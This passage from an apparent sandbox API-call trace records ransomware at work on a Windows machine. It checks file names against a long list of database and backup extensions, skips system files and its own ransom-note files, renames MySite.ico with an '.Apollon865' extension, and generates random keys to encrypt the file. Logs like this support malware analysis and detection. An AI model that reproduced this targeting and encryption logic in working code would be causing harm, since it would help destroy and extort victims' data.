	[0080.812] lstrcmpiW (lpString1="ico", lpString2="itw") returned -1
	[0080.812] lstrlenW (lpString="jet") returned 3
	[0080.812] lstrcmpiW (lpString1="ico", lpString2="jet") returned -1
	[0080.812] lstrlenW (lpString="jtx") returned 3
	[0080.812] lstrcmpiW (lpString1="ico", lpString2="jtx") returned -1
	[0080.812] lstrlenW (lpString="kdb") returned 3
	[0080.812] lstrcmpiW (lpString1="ico", lpString2="kdb") returned -1
	[0080.812] lstrlenW (lpString="kexi") returned 4
	[0080.812] lstrcmpiW (lpString1=".ico", lpString2="kexi") returned -1
	[0080.812] lstrlenW (lpString="kexic") returned 5
	[0080.812] lstrcmpiW (lpString1="e.ico", lpString2="kexic") returned -1
	[0080.812] lstrlenW (lpString="kexis") returned 5
	[0080.812] lstrcmpiW (lpString1="e.ico", lpString2="kexis") returned -1
	[0080.812] lstrlenW (lpString="lgc") returned 3
	[0080.812] lstrcmpiW (lpString1="ico", lpString2="lgc") returned -1
	[0080.812] lstrlenW (lpString="lwx") returned 3
	[0080.812] lstrcmpiW (lpString1="ico", lpString2="lwx") returned -1
	[0080.812] lstrlenW (lpString="maf") returned 3
	[0080.812] lstrcmpiW (lpString1="ico", lpString2="maf") returned -1
	[0080.812] lstrlenW (lpString="maq") returned 3
	[0080.812] lstrcmpiW (lpString1="ico", lpString2="maq") returned -1
	[0080.812] lstrlenW (lpString="mar") returned 3
	[0080.812] lstrcmpiW (lpString1="ico", lpString2="mar") returned -1
	[0080.812] lstrlenW (lpString="marshal") returned 7
	[0080.812] lstrcmpiW (lpString1="ite.ico", lpString2="marshal") returned -1
	[0080.812] lstrlenW (lpString="mas") returned 3
	[0080.812] lstrcmpiW (lpString1="ico", lpString2="mas") returned -1
	[0080.812] lstrlenW (lpString="mav") returned 3
	[0080.812] lstrcmpiW (lpString1="ico", lpString2="mav") returned -1
	[0080.812] lstrlenW (lpString="maw") returned 3
	[0080.812] lstrcmpiW (lpString1="ico", lpString2="maw") returned -1
	[0080.812] lstrlenW (lpString="mdbhtml") returned 7
	[0080.812] lstrcmpiW (lpString1="ite.ico", lpString2="mdbhtml") returned -1
	[0080.812] lstrlenW (lpString="mdn") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="mdn") returned -1
	[0080.813] lstrlenW (lpString="mdt") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="mdt") returned -1
	[0080.813] lstrlenW (lpString="mfd") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="mfd") returned -1
	[0080.813] lstrlenW (lpString="mpd") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="mpd") returned -1
	[0080.813] lstrlenW (lpString="mrg") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="mrg") returned -1
	[0080.813] lstrlenW (lpString="mud") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="mud") returned -1
	[0080.813] lstrlenW (lpString="mwb") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="mwb") returned -1
	[0080.813] lstrlenW (lpString="myd") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="myd") returned -1
	[0080.813] lstrlenW (lpString="ndf") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="ndf") returned -1
	[0080.813] lstrlenW (lpString="nnt") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="nnt") returned -1
	[0080.813] lstrlenW (lpString="nrmlib") returned 6
	[0080.813] lstrcmpiW (lpString1="te.ico", lpString2="nrmlib") returned 1
	[0080.813] lstrlenW (lpString="ns2") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="ns2") returned -1
	[0080.813] lstrlenW (lpString="ns3") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="ns3") returned -1
	[0080.813] lstrlenW (lpString="ns4") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="ns4") returned -1
	[0080.813] lstrlenW (lpString="nsf") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="nsf") returned -1
	[0080.813] lstrlenW (lpString="nv") returned 2
	[0080.813] lstrcmpiW (lpString1="co", lpString2="nv") returned -1
	[0080.813] lstrlenW (lpString="nv2") returned 3
	[0080.813] lstrcmpiW (lpString1="ico", lpString2="nv2") returned -1
	[0080.814] lstrlenW (lpString="nwdb") returned 4
	[0080.814] lstrcmpiW (lpString1=".ico", lpString2="nwdb") returned -1
	[0080.814] lstrlenW (lpString="nyf") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="nyf") returned -1
	[0080.814] lstrlenW (lpString="odb") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0080.814] lstrlenW (lpString="odb") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0080.814] lstrlenW (lpString="oqy") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="oqy") returned -1
	[0080.814] lstrlenW (lpString="ora") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="ora") returned -1
	[0080.814] lstrlenW (lpString="orx") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="orx") returned -1
	[0080.814] lstrlenW (lpString="owc") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="owc") returned -1
	[0080.814] lstrlenW (lpString="p96") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="p96") returned -1
	[0080.814] lstrlenW (lpString="p97") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="p97") returned -1
	[0080.814] lstrlenW (lpString="pan") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="pan") returned -1
	[0080.814] lstrlenW (lpString="pdb") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="pdb") returned -1
	[0080.814] lstrlenW (lpString="pdm") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="pdm") returned -1
	[0080.814] lstrlenW (lpString="pnz") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="pnz") returned -1
	[0080.814] lstrlenW (lpString="qry") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="qry") returned -1
	[0080.814] lstrlenW (lpString="qvd") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="qvd") returned -1
	[0080.814] lstrlenW (lpString="rbf") returned 3
	[0080.814] lstrcmpiW (lpString1="ico", lpString2="rbf") returned -1
	[0080.815] lstrlenW (lpString="rctd") returned 4
	[0080.815] lstrcmpiW (lpString1=".ico", lpString2="rctd") returned -1
	[0080.815] lstrlenW (lpString="rod") returned 3
	[0080.815] lstrcmpiW (lpString1="ico", lpString2="rod") returned -1
	[0080.815] lstrlenW (lpString="rodx") returned 4
	[0080.815] lstrcmpiW (lpString1=".ico", lpString2="rodx") returned -1
	[0080.815] lstrlenW (lpString="rpd") returned 3
	[0080.815] lstrcmpiW (lpString1="ico", lpString2="rpd") returned -1
	[0080.815] lstrlenW (lpString="rsd") returned 3
	[0080.815] lstrcmpiW (lpString1="ico", lpString2="rsd") returned -1
	[0080.815] lstrlenW (lpString="sas7bdat") returned 8
	[0080.815] lstrcmpiW (lpString1="Site.ico", lpString2="sas7bdat") returned 1
	[0080.815] lstrlenW (lpString="sbf") returned 3
	[0080.815] lstrcmpiW (lpString1="ico", lpString2="sbf") returned -1
	[0080.815] lstrlenW (lpString="scx") returned 3
	[0080.815] lstrcmpiW (lpString1="ico", lpString2="scx") returned -1
	[0080.815] lstrlenW (lpString="sdb") returned 3
	[0080.815] lstrcmpiW (lpString1="ico", lpString2="sdb") returned -1
	[0080.815] lstrlenW (lpString="sdc") returned 3
	[0080.815] lstrcmpiW (lpString1="ico", lpString2="sdc") returned -1
	[0080.815] lstrlenW (lpString="sdf") returned 3
	[0080.815] lstrcmpiW (lpString1="ico", lpString2="sdf") returned -1
	[0080.815] lstrlenW (lpString="sis") returned 3
	[0080.815] lstrcmpiW (lpString1="ico", lpString2="sis") returned -1
	[0080.815] lstrlenW (lpString="spq") returned 3
	[0080.815] lstrcmpiW (lpString1="ico", lpString2="spq") returned -1
	[0080.815] lstrlenW (lpString="te") returned 2
	[0080.815] lstrcmpiW (lpString1="co", lpString2="te") returned -1
	[0080.815] lstrlenW (lpString="teacher") returned 7
	[0080.815] lstrcmpiW (lpString1="ite.ico", lpString2="teacher") returned -1
	[0080.815] lstrlenW (lpString="tmd") returned 3
	[0080.815] lstrcmpiW (lpString1="ico", lpString2="tmd") returned -1
	[0080.815] lstrlenW (lpString="tps") returned 3
	[0080.815] lstrcmpiW (lpString1="ico", lpString2="tps") returned -1
	[0080.815] lstrlenW (lpString="trc") returned 3
	[0080.815] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0080.816] lstrlenW (lpString="trc") returned 3
	[0080.816] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0080.816] lstrlenW (lpString="trm") returned 3
	[0080.816] lstrcmpiW (lpString1="ico", lpString2="trm") returned -1
	[0080.816] lstrlenW (lpString="udb") returned 3
	[0080.816] lstrcmpiW (lpString1="ico", lpString2="udb") returned -1
	[0080.816] lstrlenW (lpString="udl") returned 3
	[0080.816] lstrcmpiW (lpString1="ico", lpString2="udl") returned -1
	[0080.816] lstrlenW (lpString="usr") returned 3
	[0080.816] lstrcmpiW (lpString1="ico", lpString2="usr") returned -1
	[0080.816] lstrlenW (lpString="v12") returned 3
	[0080.816] lstrcmpiW (lpString1="ico", lpString2="v12") returned -1
	[0080.816] lstrlenW (lpString="vis") returned 3
	[0080.816] lstrcmpiW (lpString1="ico", lpString2="vis") returned -1
	[0080.816] lstrlenW (lpString="vpd") returned 3
	[0080.816] lstrcmpiW (lpString1="ico", lpString2="vpd") returned -1
	[0080.816] lstrlenW (lpString="vvv") returned 3
	[0080.816] lstrcmpiW (lpString1="ico", lpString2="vvv") returned -1
	[0080.816] lstrlenW (lpString="wdb") returned 3
	[0080.816] lstrcmpiW (lpString1="ico", lpString2="wdb") returned -1
	[0080.816] lstrlenW (lpString="wmdb") returned 4
	[0080.816] lstrcmpiW (lpString1=".ico", lpString2="wmdb") returned -1
	[0080.816] lstrlenW (lpString="wrk") returned 3
	[0080.816] lstrcmpiW (lpString1="ico", lpString2="wrk") returned -1
	[0080.816] lstrlenW (lpString="xdb") returned 3
	[0080.816] lstrcmpiW (lpString1="ico", lpString2="xdb") returned -1
	[0080.816] lstrlenW (lpString="xld") returned 3
	[0080.816] lstrcmpiW (lpString1="ico", lpString2="xld") returned -1
	[0080.816] lstrlenW (lpString="xmlff") returned 5
	[0080.816] lstrcmpiW (lpString1="e.ico", lpString2="xmlff") returned -1
	[0080.816] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico.Apollon865") returned 57
	[0080.816] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\mysite.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\mysite.ico.apollon865"), dwFlags=0x1) returned 1
	[0080.818] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\mysite.ico.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.818] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=25214) returned 1
	[0080.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0080.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0080.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0080.818] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0080.819] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0080.819] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.819] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6580, lpName=0x0) returned 0x15c
	[0080.820] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6580) returned 0x100000
	[0080.822] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0080.823] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0080.823] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0080.823] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0080.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0080.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0080.823] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0080.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0080.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0080.823] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0080.823] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0080.823] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0080.823] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0080.824] CloseHandle (hObject=0x15c) returned 1
	[0080.824] CloseHandle (hObject=0x9c) returned 1
	[0080.824] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.824] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0080.824] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.824] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2444900, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2444900, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1
	[0080.824] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.824] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="Apollon865.txt.exe") returned 1
	[0080.824] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".") returned 1
	[0080.824] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="..") returned 1
	[0080.824] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="windows") returned -1
	[0080.824] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="bootmgr") returned 1
	[0080.824] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="temp") returned -1
	[0080.825] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="pagefile.sys") returned 1
	[0080.825] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="boot") returned 1
	[0080.825] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="ids.txt") returned 1
	[0080.825] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="ntuser.dat") returned 1
	[0080.825] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="perflogs") returned 1
	[0080.825] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="MSBuild") returned 1
	[0080.825] lstrlenW (lpString="SharePointPortalSite.ico") returned 24
	[0080.825] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico") returned 46
	[0080.825] lstrcpyW (in: lpString1=0x119e650, lpString2="SharePointPortalSite.ico" | out: lpString1="SharePointPortalSite.ico") returned="SharePointPortalSite.ico"
	[0080.825] lstrlenW (lpString="SharePointPortalSite.ico") returned 24
	[0080.825] lstrlenW (lpString="Apollon865") returned 10
	[0080.825] lstrcmpiW (lpString1="alSite.ico", lpString2="Apollon865") returned -1
	[0080.825] lstrlenW (lpString=".dll") returned 4
	[0080.825] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".dll") returned 1
	[0080.825] lstrlenW (lpString=".lnk") returned 4
	[0080.825] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".lnk") returned 1
	[0080.825] lstrlenW (lpString=".ini") returned 4
	[0080.825] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".ini") returned 1
	[0080.825] lstrlenW (lpString=".sys") returned 4
	[0080.825] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".sys") returned 1
	[0080.825] lstrlenW (lpString="SharePointPortalSite.ico") returned 24
	[0080.825] lstrlenW (lpString="bak") returned 3
	[0080.825] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1
	[0080.825] lstrlenW (lpString="ba_") returned 3
	[0080.825] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1
	[0080.825] lstrlenW (lpString="dbb") returned 3
	[0080.825] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1
	[0080.825] lstrlenW (lpString="vmdk") returned 4
	[0080.825] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1
	[0080.825] lstrlenW (lpString="rar") returned 3
	[0080.825] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1
	[0080.825] lstrlenW (lpString="zip") returned 3
	[0080.825] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1
	[0080.825] lstrlenW (lpString="tgz") returned 3
	[0080.825] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1
	[0080.826] lstrlenW (lpString="vbox") returned 4
	[0080.826] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1
	[0080.826] lstrlenW (lpString="vdi") returned 3
	[0080.826] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1
	[0080.826] lstrlenW (lpString="vhd") returned 3
	[0080.826] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1
	[0080.826] lstrlenW (lpString="vhdx") returned 4
	[0080.826] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1
	[0080.826] lstrlenW (lpString="avhd") returned 4
	[0080.826] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1
	[0080.826] lstrlenW (lpString="db") returned 2
	[0080.826] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0080.826] lstrlenW (lpString="db2") returned 3
	[0080.826] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1
	[0080.826] lstrlenW (lpString="db3") returned 3
	[0080.826] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1
	[0080.826] lstrlenW (lpString="dbf") returned 3
	[0080.826] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1
	[0080.826] lstrlenW (lpString="mdf") returned 3
	[0080.826] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1
	[0080.826] lstrlenW (lpString="mdb") returned 3
	[0080.826] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1
	[0080.826] lstrlenW (lpString="sql") returned 3
	[0080.826] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1
	[0080.826] lstrlenW (lpString="sqlite") returned 6
	[0080.826] lstrcmpiW (lpString1="te.ico", lpString2="sqlite") returned 1
	[0080.826] lstrlenW (lpString="sqlite3") returned 7
	[0080.826] lstrcmpiW (lpString1="ite.ico", lpString2="sqlite3") returned -1
	[0080.826] lstrlenW (lpString="sqlitedb") returned 8
	[0080.826] lstrcmpiW (lpString1="Site.ico", lpString2="sqlitedb") returned -1
	[0080.826] lstrlenW (lpString="xml") returned 3
	[0080.826] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1
	[0080.826] lstrlenW (lpString="$er") returned 3
	[0080.826] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1
	[0080.826] lstrlenW (lpString="4dd") returned 3
	[0080.826] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1
	[0080.827] lstrlenW (lpString="4dl") returned 3
	[0080.827] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1
	[0080.827] lstrlenW (lpString="^^^") returned 3
	[0080.827] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1
	[0080.827] lstrlenW (lpString="abs") returned 3
	[0080.827] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1
	[0080.827] lstrlenW (lpString="abx") returned 3
	[0080.827] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1
	[0080.827] lstrlenW (lpString="accdb") returned 5
	[0080.827] lstrcmpiW (lpString1="e.ico", lpString2="accdb") returned 1
	[0080.827] lstrlenW (lpString="accdc") returned 5
	[0080.827] lstrcmpiW (lpString1="e.ico", lpString2="accdc") returned 1
	[0080.827] lstrlenW (lpString="accde") returned 5
	[0080.827] lstrcmpiW (lpString1="e.ico", lpString2="accde") returned 1
	[0080.827] lstrlenW (lpString="accdr") returned 5
	[0080.827] lstrcmpiW (lpString1="e.ico", lpString2="accdr") returned 1
	[0080.827] lstrlenW (lpString="accdt") returned 5
	[0080.827] lstrcmpiW (lpString1="e.ico", lpString2="accdt") returned 1
	[0080.827] lstrlenW (lpString="accdw") returned 5
	[0080.827] lstrcmpiW (lpString1="e.ico", lpString2="accdw") returned 1
	[0080.827] lstrlenW (lpString="accft") returned 5
	[0080.827] lstrcmpiW (lpString1="e.ico", lpString2="accft") returned 1
	[0080.827] lstrlenW (lpString="adb") returned 3
	[0080.827] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0080.827] lstrlenW (lpString="adb") returned 3
	[0080.827] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0080.827] lstrlenW (lpString="ade") returned 3
	[0080.827] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1
	[0080.827] lstrlenW (lpString="adf") returned 3
	[0080.827] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1
	[0080.827] lstrlenW (lpString="adn") returned 3
	[0080.827] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1
	[0080.827] lstrlenW (lpString="adp") returned 3
	[0080.827] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1
	[0080.827] lstrlenW (lpString="alf") returned 3
	[0080.827] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1
	[0080.827] lstrlenW (lpString="ask") returned 3
	[0080.827] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1
	[0080.828] lstrlenW (lpString="btr") returned 3
	[0080.828] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1
	[0080.828] lstrlenW (lpString="cat") returned 3
	[0080.828] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1
	[0080.828] lstrlenW (lpString="cdb") returned 3
	[0080.828] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1
	[0080.828] lstrlenW (lpString="ckp") returned 3
	[0080.828] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1
	[0080.828] lstrlenW (lpString="cma") returned 3
	[0080.828] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1
	[0080.828] lstrlenW (lpString="cpd") returned 3
	[0080.828] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1
	[0080.828] lstrlenW (lpString="dacpac") returned 6
	[0080.828] lstrcmpiW (lpString1="te.ico", lpString2="dacpac") returned 1
	[0080.828] lstrlenW (lpString="dad") returned 3
	[0080.828] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1
	[0080.828] lstrlenW (lpString="dadiagrams") returned 10
	[0080.828] lstrcmpiW (lpString1="alSite.ico", lpString2="dadiagrams") returned -1
	[0080.828] lstrlenW (lpString="daschema") returned 8
	[0080.828] lstrcmpiW (lpString1="Site.ico", lpString2="daschema") returned 1
	[0080.828] lstrlenW (lpString="db-journal") returned 10
	[0080.828] lstrcmpiW (lpString1="alSite.ico", lpString2="db-journal") returned -1
	[0080.828] lstrlenW (lpString="db-shm") returned 6
	[0080.828] lstrcmpiW (lpString1="te.ico", lpString2="db-shm") returned 1
	[0080.828] lstrlenW (lpString="db-wal") returned 6
	[0080.828] lstrcmpiW (lpString1="te.ico", lpString2="db-wal") returned 1
	[0080.828] lstrlenW (lpString="dbc") returned 3
	[0080.828] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1
	[0080.828] lstrlenW (lpString="dbs") returned 3
	[0080.828] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1
	[0080.828] lstrlenW (lpString="dbt") returned 3
	[0080.828] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1
	[0080.828] lstrlenW (lpString="dbv") returned 3
	[0080.828] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1
	[0080.828] lstrlenW (lpString="dbx") returned 3
	[0080.828] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1
	[0080.828] lstrlenW (lpString="dcb") returned 3
	[0080.828] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1
	[0080.829] lstrlenW (lpString="dct") returned 3
	[0080.829] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1
	[0080.829] lstrlenW (lpString="dcx") returned 3
	[0080.829] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1
	[0080.829] lstrlenW (lpString="ddl") returned 3
	[0080.829] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1
	[0080.829] lstrlenW (lpString="dlis") returned 4
	[0080.829] lstrcmpiW (lpString1=".ico", lpString2="dlis") returned -1
	[0080.829] lstrlenW (lpString="dp1") returned 3
	[0080.829] lstrcmpiW (lpString1="ico", lpString2="dp1") returned 1
	[0080.829] lstrlenW (lpString="dqy") returned 3
	[0080.829] lstrcmpiW (lpString1="ico", lpString2="dqy") returned 1
	[0080.829] lstrlenW (lpString="dsk") returned 3
	[0080.829] lstrcmpiW (lpString1="ico", lpString2="dsk") returned 1
	[0080.829] lstrlenW (lpString="dsn") returned 3
	[0080.829] lstrcmpiW (lpString1="ico", lpString2="dsn") returned 1
	[0080.829] lstrlenW (lpString="dtsx") returned 4
	[0080.829] lstrcmpiW (lpString1=".ico", lpString2="dtsx") returned -1
	[0080.829] lstrlenW (lpString="dxl") returned 3
	[0080.829] lstrcmpiW (lpString1="ico", lpString2="dxl") returned 1
	[0080.829] lstrlenW (lpString="eco") returned 3
	[0080.829] lstrcmpiW (lpString1="ico", lpString2="eco") returned 1
	[0080.829] lstrlenW (lpString="ecx") returned 3
	[0080.829] lstrcmpiW (lpString1="ico", lpString2="ecx") returned 1
	[0080.829] lstrlenW (lpString="edb") returned 3
	[0080.829] lstrcmpiW (lpString1="ico", lpString2="edb") returned 1
	[0080.829] lstrlenW (lpString="epim") returned 4
	[0080.829] lstrcmpiW (lpString1=".ico", lpString2="epim") returned -1
	[0080.829] lstrlenW (lpString="fcd") returned 3
	[0080.829] lstrcmpiW (lpString1="ico", lpString2="fcd") returned 1
	[0080.829] lstrlenW (lpString="fdb") returned 3
	[0080.829] lstrcmpiW (lpString1="ico", lpString2="fdb") returned 1
	[0080.829] lstrlenW (lpString="fic") returned 3
	[0080.829] lstrcmpiW (lpString1="ico", lpString2="fic") returned 1
	[0080.829] lstrlenW (lpString="flexolibrary") returned 12
	[0080.829] lstrcmpiW (lpString1="rtalSite.ico", lpString2="flexolibrary") returned 1
	[0080.830] lstrlenW (lpString="fm5") returned 3
	[0080.830] lstrcmpiW (lpString1="ico", lpString2="fm5") returned 1
	[0080.830] lstrlenW (lpString="fmp") returned 3
	[0080.830] lstrcmpiW (lpString1="ico", lpString2="fmp") returned 1
	[0080.830] lstrlenW (lpString="fmp12") returned 5
	[0080.830] lstrcmpiW (lpString1="e.ico", lpString2="fmp12") returned -1
	[0080.830] lstrlenW (lpString="fmpsl") returned 5
	[0080.830] lstrcmpiW (lpString1="e.ico", lpString2="fmpsl") returned -1
	[0080.830] lstrlenW (lpString="fol") returned 3
	[0080.830] lstrcmpiW (lpString1="ico", lpString2="fol") returned 1
	[0080.830] lstrlenW (lpString="fp3") returned 3
	[0080.830] lstrcmpiW (lpString1="ico", lpString2="fp3") returned 1
	[0080.830] lstrlenW (lpString="fp4") returned 3
